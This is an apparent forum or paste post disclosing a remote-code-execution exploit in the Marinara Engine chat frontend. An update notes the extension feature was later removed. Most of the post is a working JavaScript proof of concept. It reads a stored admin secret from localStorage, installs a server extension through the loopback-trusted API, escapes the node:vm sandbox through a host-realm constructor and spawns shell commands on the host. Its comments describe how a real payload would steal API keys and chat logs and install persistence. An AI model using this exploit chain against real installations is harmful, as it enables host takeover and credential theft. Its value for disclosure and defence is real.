>we


UPDATE: THEY REMOVED THE EXTENSIONS SYSTEM LMAOOOOOOO

Removed the extension feature from Addons: all CSS, browser, and server payload execution is gone; import, enable, update, and export controls and helpers were deleted; create/update APIs now return 410 Gone; startup force-disables every retained record; cleanup reads expose metadata only; and users can only delete inert legacy records. The extension authoring guides, examples, and Professor Mari instructions were removed with the feature.


Marinara Engine extension RCE

marifag claim don't use marinara Unlike SillyTavern, there is no boundary between access to the client and access to the host. Therefore, even installing a client extension (like BotBrowser was) can lead to full system takeover.

Quick AI slopped proof of concept.

// ── WEEGEE VIRUS (demo PoC  client extension) ─────────────────────────────
// Paste this into a CLIENT extension in Marinara Engine (Settings  Extensions).
//
// What it does:
//   1. Installs + enables a SERVER extension via the loopback-trusted API
//      (no ADMIN_SECRET required by default).
//   2. That server extension escapes the node:vm sandbox in one line
//      (host-realm clearTimeout.constructor  host Function  process/require).
//   3. From the HOST it then:
//         shows a NATIVE dialog box ("YOU'VE BEEN INFECTED WITH THE WEEGEE VIRUS…")
//             Windows : PowerShell WPF MessageBox (fallback: mshta popup)
//             Linux   : zenity  kdialog  xmessage  notify-send
//             Termux  : termux-dialog (Termux:API)  am toast fallback
//         opens https://www.youtube.com/watch?v=LOwsBRD9OwM in the browser
//             Windows : cmd /c start
//             Linux   : xdg-open  gio open
//             Termux  : termux-open-url  am start VIEW intent
//         on Windows also launches calc.exe, because tradition.
//
// The payload is deliberately harmless, but the mechanism is exactly the one a
// real payload would use to decrypt .encryption-key + the SQLite DB (API keys),
// exfiltrate chat logs, and install persistence (cron/systemd/shell rc).
// ────────────────────────────────────────────────────────────────────────────

const VIDEO = "https://www.youtube.com/watch?v=LOwsBRD9OwM";
const TITLE = "WEEGEE VIRUS";
const MESSAGE =
  "YOU'VE BEEN INFECTED WITH THE WEEGEE VIRUS " +
  "(this could've been persistent RCE that takes API keys and logs b t w)";

// ── Server extension payload (body of the runtime's async IIFE) ─────────────
const serverJs = `
  marinara.log.info("[weegee] server payload executing");

  // node:vm is NOT a security boundary. The runtime injects host-realm
  // objects (clearTimeout, URL, AbortController, ...) into the context, so
  // .constructor reaches the host Function and compiles code OUTSIDE the
  // sandbox. One line:
  const HostFunction = clearTimeout.constructor;
  const proc = HostFunction("return process")();
  // Server is ESM (type: module) so plain require() does not exist even in the
  // host realm. Node 22+ exposes built-ins directly off process instead.
  const cp = proc.getBuiltinModule("child_process");
  // ESM-safe fallback for older Node: build a require via module.createRequire.
  const cpSafe = cp || HostFunction("return require('module').createRequire(process.cwd() + '/x.js')('child_process')")();

  const VIDEO = ${JSON.stringify(VIDEO)};
  const TITLE = ${JSON.stringify(TITLE)};
  const MESSAGE = ${JSON.stringify(MESSAGE)};

  const isTermux = !!(proc.env.PREFIX && proc.env.PREFIX.includes("com.termux"));

  function trySpawn(bin, args, opts) {
    try {
      const child = cpSafe.spawn(bin, args, Object.assign({ detached: true, stdio: "ignore" }, opts || {}));
      child.on("error", function () {});
      child.unref();
      marinara.log.info("[weegee] ran: " + bin + " " + args.join(" "));
      return true;
    } catch (e) {
      marinara.log.warn("[weegee] failed: " + bin + ": " + e);
      return false;
    }
  }

  // ── Native dialog box ──
  if (proc.platform === "win32") {
    const psScript =
      "Add-Type -AssemblyName PresentationFramework; " +
      "[System.Windows.MessageBox]::Show(" +
      JSON.stringify(MESSAGE) + ", " + JSON.stringify(TITLE) + ", " +
      "'OK', [System.Windows.MessageBoxImage]::Warning) | Out-Null";
    if (!trySpawn("powershell", ["-NoProfile", "-NonInteractive", "-WindowStyle", "Hidden", "-Command", psScript])) {
      // Fallback: mshta VBScript popup (present on every Windows since IE4)
      trySpawn("mshta", ["vbscript:Execute(\\"msgbox " + MESSAGE.replace(/"/g, "") + ", 48, " + TITLE + ":close\\")"]);
    }
    // calc.exe  the canonical "I have code execution" flex.
    trySpawn("calc.exe", []);
  } else if (isTermux) {
    // Termux:API dialog; fallback to a toast via the Android activity manager.
    if (!trySpawn("termux-dialog", ["text", "-t", TITLE, "-i", MESSAGE])) {
      trySpawn("am", ["broadcast", "-a", "android.intent.action.VIEW", "-d", VIDEO]);
    }
  } else {
    // Linux desktop: try the usual suspects in order of niceness.
    const dialogTried =
      trySpawn("zenity", ["--warning", "--title", TITLE, "--text", MESSAGE]) ||
      trySpawn("kdialog", ["--sorry", MESSAGE, "--title", TITLE]) ||
      trySpawn("xmessage", ["-center", TITLE + ": " + MESSAGE]);
    if (!dialogTried) {
      // Headless last resort: desktop notification daemon.
      trySpawn("notify-send", [TITLE, MESSAGE]);
    }
  }

  // ── Open the video in the default browser ──
  if (proc.platform === "win32") {
    trySpawn("cmd", ["/c", "start", "", VIDEO]);
  } else if (isTermux) {
    if (!trySpawn("termux-open-url", [VIDEO])) {
      trySpawn("am", ["start", "-a", "android.intent.action.VIEW", "-d", VIDEO]);
    }
  } else {
    trySpawn("xdg-open", [VIDEO]) || trySpawn("gio", ["open", VIDEO]);
  }

  // A real payload would also: read .encryption-key + the DB to decrypt every
  // stored API key, exfiltrate the full chat history, and write a cron /
  // systemd-user unit for persistence. This demo stops here on purpose.
`;

// ── Install + enable the server extension ────────────────────────────────
// On loopback the privileged gate passes with no secret. When the frontend is
// accessed remotely (Tailscale/LAN), users who need admin actions paste their
// ADMIN_SECRET into Settings  Advanced  Admin Access  and the frontend
// stores it in CLEARTEXT localStorage. Any same-origin script can read it.
const ADMIN_SECRET_STORAGE_KEY = "marinara_admin_secret";
const stolenAdminSecret = (localStorage.getItem(ADMIN_SECRET_STORAGE_KEY) || "").trim();
if (stolenAdminSecret) {
  console.log("[weegee] found ADMIN_SECRET in localStorage — using it for privileged install");
}

(async () => {
  try {
    const headers = {
      "Content-Type": "application/json",
      "x-marinara-csrf": "1", // static CSRF header value shipped in @marinara-engine/shared
    };
    if (stolenAdminSecret) headers["X-Admin-Secret"] = stolenAdminSecret;
    const res = await fetch("/api/extensions", {
      method: "POST",
      headers,
      body: JSON.stringify({
        // Random suffix so repeated demo runs don't collide on the unique name.
        name: "weegee-server-" + Math.random().toString(36).slice(2, 10),
        runtime: "server",
        enabled: true,
        serverJs,
      }),
    });
    if (!res.ok) throw new Error(`install failed: ${res.status} ${await res.text()}`);
    console.log("[weegee] server extension installed — native dialog, browser tab (and calc on Windows) incoming 👀");
  } catch (e) {
    console.error("[weegee] escalation failed:", e);
  }
})();
Edit

Pub: 22 Jul 2026 17:20 UTC

Edit: 23 Jul 2026 00:44 UTC

Views: 486